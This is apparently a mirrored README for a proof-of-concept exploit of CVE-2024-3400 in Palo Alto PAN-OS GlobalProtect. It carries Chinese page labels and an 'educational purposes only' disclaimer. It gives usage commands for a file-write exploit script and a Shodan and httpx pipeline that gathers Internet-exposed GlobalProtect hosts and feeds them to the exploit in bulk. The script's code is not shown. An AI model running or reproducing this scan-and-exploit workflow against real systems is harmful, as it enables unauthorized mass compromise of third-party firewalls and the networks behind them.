CVE-2024-3400 PoC — Palo Alto Networks PAN-OS 命令注入漏洞

Description

Global Protec Palo Alto File Write Exploit

介绍

# CVE-2024-3400

CVE-2024-3400 Palo Alto 
File Write Exploit


**This exploit search over Global Protect URLS instances & try to write-file using CVE-2024-3400**

**[ Use with Caution ]**

**[ Made with educational Purpouses only ]**

Usage:
```
chmod +x gp-exploit.sh

./gp-exploit.sh file_name_to_write urls.txt
```

![Test Image 4](https://github.com/ak1t4/CVE-2024-3400/blob/main/front.png)


Shodan Search & Url's filtering:
```
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts 
# ./gp-exploit file_name gp.hosts
```
Status Code Reponses Verification:

![Test Image 5](https://github.com/ak1t4/CVE-2024-3400/blob/main/responses.jpg)

文件快照

备注